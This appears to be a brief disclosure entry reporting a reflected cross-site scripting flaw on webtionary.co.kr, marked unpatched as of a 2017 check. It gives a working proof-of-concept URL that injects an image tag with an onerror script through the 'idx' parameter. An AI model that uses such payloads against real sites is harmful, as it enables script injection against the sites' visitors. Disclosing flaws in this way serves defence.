webtionary.co.kr XSS vulnerability

Vulnerable URL: http://www.webtionary.co.kr/magic/indexcontent.jsp?idx=%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt%28/xssposed/%29%3E121342=know=%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 03.08.2017...